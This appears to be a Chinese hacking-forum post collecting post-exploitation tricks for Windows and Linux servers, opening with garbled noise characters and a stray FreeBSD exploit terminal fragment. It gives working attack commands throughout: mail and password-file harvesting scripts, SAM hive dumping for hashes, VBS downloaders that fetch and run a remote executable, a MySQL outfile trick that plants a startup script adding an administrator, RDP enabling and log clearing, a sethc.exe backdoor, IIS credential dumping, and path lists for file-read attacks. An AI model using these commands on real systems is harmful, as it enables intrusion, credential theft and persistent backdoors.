8 U' J- H  o4 K1 ~( z7 u[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
) g9 n# [, }. g/ C; {6 g* vfs.usermount: 1
* [argp@julius ~]$ id
3 k7 s/ V3 d" s8 O3 [8 o* W* uid=1001(argp) gid=1001(argp) groups=1001(argp)
. l7 V# K& h7 `% n; M* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
+ b5 Z# P1 D6 n/ n3 W*
+ ~! {, W7 x$ m4 |0 t$ \, I/ P+ vcalling nmount()
: C9 i/ @  |* l  b! E2 W
9 ^  J6 h- z- r6 w, |! f! d（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
9 O2 w+ Z! @, W! f0 z. \' X——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
4 U& J2 I) g& p: aalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
& W- Z1 j* A6 c{
) p: @4 m8 S" v! i) j注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
* Z' U" g; |6 G若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
  j7 N3 V' I4 r
  c. U6 ~# Q, G' h提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
1 `4 a! v7 Y2 A) o+ ]4 |' l——————————————
9 D5 D$ P' l% c$ ]2、收集系统信息的脚本  
# n5 @. P$ K6 q& ffor window：

@echo off
, \% T( e& C5 G& I: e! becho #########system info collection
5 v. n  r8 B% {2 U( j6 psysteminfo
ver
9 T$ b  l% ~% {$ ?: @6 J+ Shostname
; `! U3 f. W2 A* M+ r% @net user
+ _. k* y5 V, Unet localgroup
* ~! R; i2 f5 H* s7 Jnet localgroup administrators
$ `5 t& P* {9 U' h# X6 F3 gnet user guest
; Y5 Q  O8 d2 n$ O4 [net user administrator
' ?( D4 b2 }) ~5 u
echo #######at- with   atq#####
- f3 b9 D& P$ e% M1 s, p( secho schtask /query

2 o: T+ w$ C1 P9 E; u$ qecho
echo ####task-list#############
8 C4 J  c/ B) y+ u  K$ _- Wtasklist /svc
echo
: q: S1 k- m1 e1 w/ o: K: secho ####net-work infomation
% ^$ A- j, S+ r1 Y! L- cipconfig/all
# t; C6 {0 ~9 ^# i' aroute print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
1 ~9 K+ g2 x# B8 wsc query type= service state= all
3 m9 P& p& _9 A$ e- n) R- p6 Zecho #######file-##############
: r1 j/ C5 ]" a8 b) Gcd \
7 i4 P" J4 x2 _7 c, v: x) Ytree -F
* S- P6 v+ f. u( sfor linux：
$ J& N, C' J% l8 ^
#!/bin/bash
! @  {8 c8 v* H9 H4 y) R
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
3 _9 R% X) r' ^7 gecho #######basic infomation##
cat /proc/meminfo
/ {: j3 l. C1 q+ c: w" N, {; s' fecho
1 d' _# R6 G" f6 |4 [- S+ s3 lcat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
+ ]" X& Z  \$ |% i######stole the mail......######
" W" E9 a" }8 S+ a# Ncp -a /var/mail /tmp/getmail 2>/dev/null
+ h" S5 K: `/ Z, q
/ \! k! p% H  F9 i4 J- @
: @6 v1 |; U; @" s: W2 p# @) H3 G- becho 'u'r id is' `id`
echo ###atq&crontab#####
atq
4 y6 Y- j5 M8 V1 _crontab -l
& y! N) J* `' \3 I5 e- W. Gecho #####about var#####
set
6 Z$ ~, f) I5 ^! B0 Y
% F" Y4 {' p" O2 Lecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
4 e" j6 a- H9 ?/ x, p4 }  N) Icat /etc/hosts
0 D# s- K9 k8 ?. Ihostname
! B* s" Z! G0 D5 `# z) e  Oipconfig -a
' s. o% k( e& y, [* S5 d1 H% Varp -v
! @$ [2 t: C5 o+ _, _7 ~; K; Vecho ########user####
cat /etc/passwd|grep -i sh
" i0 ~1 E4 j! _7 L; P
echo ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
5 ]2 D& B  m& {# F- [; Dcat /etc/passwd|grep -i $i
. }& f, Z' j  B: ?: Zdone
4 @& E+ r, _9 G/ g5 U7 ?8 w. t
+ _* w! q' z- n& blocate passwd >/tmp/password 2>/dev/null
. |4 V8 P1 _* B/ Rsleep 5
# Z+ ^3 r8 L5 P/ ~; N6 T2 c# x. p+ a: Wlocate password >>/tmp/password 2>/dev/null
  ^* [& W: D2 F3 J3 rsleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
2 X: F) p  e) d4 qlocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

# U3 k% X, o$ H+ d  G6 [###maybe can use "tree /"###
+ N2 B- i2 L: Q% S& B' xecho ##packing up#########
  M+ j* T& k: v+ ?) Z) z$ @( Btar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
' ]  T, o" \# Z( G0 l! x7 H——————————————
3、ethash 不免杀怎么获取本机hash。
2 z  v9 d4 Y. W6 ?8 a首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
9 N: }+ ?; K3 Q& q$ E注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
' d/ u0 C1 {* B5 x+ }据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
9 R1 N% e' g( N8 R% p6 x- Q——————————————
. @% o$ B4 W9 }! B% p: {4、vbs 下载者
1
: H( }7 B) |+ w$ ~echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
: Q4 @7 s' w+ ]3 Y3 T- h# [echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
6 w; F6 E& L* _% ~( \echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
3 Q! k. p, H/ a1 Q% q$ ]6 _echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
7 w# r: p/ v7 R+ U- y" `echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
6 c0 B+ D6 Z; ycftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
* q; A- G5 Q- R+ Z& w. h$ u! ~& gSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
7 A9 a* I5 q7 g/ y# ^sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
: e/ [  \/ k7 B0 ]5 l+ w
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

, \1 }7 ?; `, F$ E2 z8 N& ^) l当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
; ]7 W7 c1 p  [5 e! z1 |5、
1.查询终端端口
; q, Q7 Q( s# u/ X# {& l6 b4 s- UREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
% o4 v; [% q2 x" W2.开启XP&2003终端服务
7 u  J( N9 ?+ Q$ ^$ _2 X- A* }REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
5 P3 Q- S  q2 n% ~! {0 w3 @3.更改终端端口为2008(0x7d8)
, ~9 k3 P3 h3 h; p' \: z0 aREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
9 ~, n  w, y5 `9 q1 E" }* ~2 O# XREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
8 h9 T% k9 _% R( Q& kREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
  Z0 H7 g- y$ ?% K3 \6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
& v4 H3 W: s. V: `8 w  for /d %i in (???) do @echo %i

4 M. E3 F9 ]" E' e5 f2 x: G: n# W# n把当前路径下文件夹的名字只有1-3个字母的打出来
4 i+ q8 q* K' n0 `
2.for /r %i in (*.exe) do @echo %i
+ e4 W+ ^' q9 ~" W6 q2 x  
# m, D+ q# {  X& L8 U, N以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
9 U/ |8 w5 d9 O! b: _  ~
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
1 }! V7 T" w: e0 q# }
2 V% b+ U5 C* R$ g8 T- o3.for /f %i in (c:\1.txt) do echo %i
: b1 V  ?" R4 F: d8 L  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
) j! J. J6 G3 ^
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
3 Z$ Y+ V$ Q$ X3 W: n7 _3 v1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
! D" N/ c' [* R0 g修改PortNumber.
; E% K8 W6 b' H% b. e8 p- k
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
) m) `( H& Q; t" P/ L8 F9 q
9 z& \' Z; P$ w$ o# g5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
4 @# \0 j( o1 O" q
$ {- r7 ]* J0 P+ o6 ]/ B- q! f6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
& N0 d. X, R( [* J: f( P/ D
: D6 `/ T. ~; r/ h3 [( Q' _7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
# \, C* C4 f* p; xreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
6 N, _/ z% ?, F- Dreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
% G. w1 w9 |' G" J. c
10.shift映像劫持
% @7 B  j+ g6 g; ~& ?reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
1 w- }  V/ j7 G' L( p/ f# B* K-----------------------------------
1 T+ u! F: W, e2 K星外vbs(注：测试通过，好东西）
, M7 ]2 u' U. [+ P  B$ O7 ASet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
5 a) r: p, z2 D/ d' l( K6 zif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
$ \1 `, S" h4 Wwscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
- g9 N# ~: w4 D3 Bset IISweb=iis.getobject("IIsWebVirtualDir","Root")
3 f( M2 ^7 o( E" ~' o- C4 h0 Vuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
& Q3 t( k; k2 ~1 ?! [5 B* opath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
) z) [2 T  b" F& V3 n0 eNext
9 V+ `4 A' I5 `. f, Vwscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
* [* {+ U  U' u" p----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
0 e" R0 n$ ^' H将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
2 x' }1 ]  w: A* P( p复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
; b$ C1 d$ O" ?/ V6 n1 a/ BPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
% n8 S! i' z3 X 原因是ASP大马里有这样的代码：（没有就没事儿了）
8 U$ H2 F7 a( o4 {1 N2 e& @) Y url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
- o6 K" M' h' t7 `  k% H4 d% Q! O 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
  q0 Q! L$ T4 t
==============================================================
. B% y" a/ M$ y0 w- `( u4 m1 jLINUX常见路径：

/etc/passwd
# n+ Z6 C0 A( O# n/etc/shadow
& b  l! P: g4 c% ]4 Q/etc/fstab
/etc/host.conf
5 K' N# \- R8 a3 h& w$ o: Z/etc/motd
' p7 |( T6 I% d# ^9 T  ~- j/ V/etc/ld.so.conf
8 y- |7 A( \4 q9 H6 b+ O+ \/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
; i% Y6 C6 D6 s% o+ Q/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
$ \  x( o- v7 a1 T/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
, q+ m2 c/ ]) y8 v& c+ [1 q/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
' z& }1 Y0 M; K2 r6 g: |* O/ B( f% F/etc/httpd/htdocs/index.php
, h3 _2 G1 w$ F  O. b. M* l8 f/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
1 z0 s4 [' A2 u. w/www/php4/php.ini
* f9 q( z$ n3 n# c  Y- Z/ Q/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
' B- g1 d% g* l$ H6 K/etc/apache/apache.conf
( o9 k2 i0 r3 D* d1 _/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
0 R6 l- X, a  w7 m: F2 H7 g% V/etc/apache2/vhosts.d/00_default_vhost.conf
; X0 q7 a. V1 a7 x" l/etc/apache2/sites-available/default
  _+ o1 O9 s+ B; A3 i. c9 u* c/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
) U$ {* J2 A: B4 g/ p" n/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
% M  X+ D% u% L0 k( y$ e# `5 G* V/etc/httpd/logs/access_log
7 Y2 t8 P  f+ H) o- v/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
: C" @- K. B# q8 B/var/log/apache/error_log
2 G! E7 r, b1 u/var/log/apache/error.log
& K8 O1 Q* j/ m& I. T* c9 U/var/log/apache/access_log
# a# S* F, q. E" V/var/log/apache/access.log
7 c4 ]. t* R7 f2 W0 Y/var/log/apache2/error_log
) z% T7 b0 H/ P: b. N: d1 t/var/log/apache2/error.log
/var/log/apache2/access_log
0 I) h5 L+ D: l; K4 r* R/var/log/apache2/access.log
* }4 R/ ?& |$ U  p# d+ x/var/www/logs/error_log
+ k5 f5 c( {. H" \- `/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
: a; t8 P$ U  ]. W' g& B- m/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
) l4 ?$ n8 H* \9 p/usr/local/apache/logs/access_log
4 X; ~  ^% u7 u  o0 E/usr/local/apache/logs/access.log
9 x6 ^$ y% {# E4 L+ ~/var/log/error_log
2 }% H- A5 H; b/ ]/var/log/error.log
/var/log/access_log
/var/log/access.log
# p! x' i& n/ a/usr/local/apache/logs/access_logaccess_log.old
( s$ V9 f5 K) o3 K/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/ b+ i9 d% `0 @6 u; ?- f* _/bin/php.ini
/etc/init.d/httpd
8 L" _" x5 R) ?+ @9 H& [- C/etc/init.d/mysql
4 o# f  M8 l* Z/etc/httpd/php.ini
- O* {+ h  @& m# K! H/usr/lib/php.ini
/usr/lib/php/php.ini
5 _" b" C7 s7 X7 O3 e2 \/usr/local/etc/php.ini
. H$ M6 ^+ v" Q  X/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
, w/ f- G" N- O2 k0 I8 U/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
  M; c. j. I) @8 y3 x/usr/local/php4/lib/php.ini
& Z" M8 P1 u2 f- c% T% F/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
, q0 S: o# h8 S9 Z7 B. G, C) `/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
! a* g" r  n: a1 z: r* t6 f/etc/php4/apache/php.ini
: i; B/ J& N! y6 i& j/ c) L3 B/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
3 Y, C7 |" f) i. n, e/etc/php/php.ini
/etc/php/php4/php.ini
( i- M3 v8 O* J# @' `/etc/php/apache/php.ini
/etc/php/apache2/php.ini
2 r; n( ^5 v2 P% z: R) c/web/conf/php.ini
# r+ L% @. [# S- I+ L/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
! j! z7 A0 ~* O) g/var/local/www/conf/php.ini
7 Q2 o! a- `2 w! o( T# u2 k9 |, H/var/local/www/conf/httpd.conf
. W$ D& _" H0 x2 f/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
7 J1 Q; `& N$ l- m& D9 v% P1 ~" X/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
0 F) R8 E( Y6 z, S' e/ `2 H/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
  m1 A* }# r, ?* ^- g, C; }/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
, E$ V9 A9 u' _/var/log/mysql/mysql-bin.log
& j1 T2 F- W9 J5 V$ `, U/var/log/mysql.log
/var/log/mysqlderror.log
9 C5 X6 g6 U) \- ^5 ^5 x" D/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
" D$ [/ g1 d8 H& ^/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
4 m, C1 a: z. ?1 K/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
% x# {$ x+ a7 z' ]! H% x2 c1 g/usr/local/cpanel/logs/error_log
  O! w; P4 o4 k1 G- R# }/usr/local/cpanel/logs/license_log
4 k, r/ m4 f6 j* W3 q/usr/local/cpanel/logs/login_log
: x8 H; B8 e& a7 w! f/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
0 ^# v7 A, h+ `) r  Y
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

5 ^. {& G8 `% M4 vc:\windows\php.ini
6 Y, e0 H! [( ?( j8 Oc:\boot.ini
5 C# ^/ H% R7 d' W- Mc:\1.txt
  D( M  Q" z/ h) W4 jc:\a.txt

3 r+ s% ?! x! n2 D9 L# ~" Jc:\CMailServer\config.ini
( ^, Z( m5 G" M  a/ cc:\CMailServer\CMailServer.exe
( }9 T# e" x" _& A$ _- s9 Zc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
- n) w$ L' @. O0 o: {) ^c:\program files\CMailServer\WebMail\index.asp
6 f4 L; x  {' D7 b) KC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
) H. T7 B) d5 r4 v& m5 KC:\WINDOWS\7i24iislog4.exe
$ A0 s5 U! S) V4 I- F2 H8 ^+ I; mC:\WINDOWS\7i24tool.exe
& [+ j3 i2 A+ S4 @
: W7 N- }/ ~$ L0 v+ oc:\hzhost\databases\url.asp
& W5 ?/ t% j4 ?7 l7 p& e$ Q
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
5 I, i  `$ v9 CC:\WINDOWS\web.config
c:\web\index.html
) H* @8 f8 ]6 w: J( rc:\www\index.html
c:\WWWROOT\index.html
) M. |' k- r$ D7 Kc:\website\index.html
c:\web\index.asp
: q* q% a9 {2 k1 F' Ac:\www\index.asp
5 k& \, E. I/ J, @- Rc:\wwwsite\index.asp
6 ^$ \7 J, s. m' g6 {! h# ec:\WWWROOT\index.asp
c:\web\index.php
( V( ]' P0 r+ z9 |: Z" @- xc:\www\index.php
  E) g, K9 {! k2 f4 V& O+ q+ Mc:\WWWROOT\index.php
2 c, @  G4 M2 S2 k0 Lc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
! w+ Q! O( W- A' q" j% X9 V+ Pc:\WWWROOT\default.html
& x& o4 B' n- k  c5 F6 y% [c:\website\default.html
5 ~  ^; W) N1 t# fc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
+ E3 H! J6 z1 [/ s9 [c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
( D- r$ p0 J* w) z& ]5 J$ b/ Kc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
" f: J% t1 K) V+ t3 t* bC:\Program Files\Microsoft Office\OFFICE11\winword.exe
( i+ [5 D. X, q2 I% oC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
$ {1 i& v' H6 d$ J$ DC:\Program Files\winrar\rar.exe
0 ]0 [+ m. [6 i( y7 tC:\Program Files\360\360Safe\360safe.exe
- x& d" R6 c% p, YC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
. Q2 s7 [9 J- x7 F" [c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
. Q5 y4 H/ D$ wC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
  e# M8 t% p) Q6 M% M, \C:\Documents and Settings\Administrator\Cookies\index.dat
, `, F: E! p$ ^C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
6 [6 x+ x( }4 t. ?6 G5 ~4 m9 L4 [C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
7 H7 B9 R2 @$ eC:\Documents and Settings\Administrator\My Documents\1.txt
  w- z  [, t5 w' `C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
' n5 T0 N$ y- I/ ~, nC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
2 @4 L5 m/ [2 A, h( |C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
9 C: o4 |  Y' z* ]% v7 xC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
+ B. l6 E. I( a0 B% ^C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
. c2 ]  H9 E* m7 ]& d6 t4 B# E  gC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
% G0 J, X( \9 p! qC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
, `0 b$ K# p% K2 u# |( @6 G! zC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
; v5 ]  t  @: X5 P  N1 vC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
7 w1 g( R7 w4 I  c2 h. oC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
  v4 G" b. n0 W- c+ ]' l4 o' bC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
% O6 d5 K6 B- X$ {' n: YC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
6 k5 F3 z5 v/ j: S# SC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
7 B+ q. H. K3 Q/ R- xC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
2 R4 C2 b) c; Y+ K2 G, j9 gC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
/ v5 B2 r5 n" ~: v# W1 {: a8 C1 p, dC:\WINDOWS\system32\config\system
8 m! C- U* G: G& d, P0 Zc:\CMailServer\config.ini
8 V# g* n# N5 z( Pc:\program files\CMailServer\config.ini
& A  v' p( A/ @$ C: yc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
0 ]: g, _) R% y& _9 @2 gc:\Apache2\php\license.txt
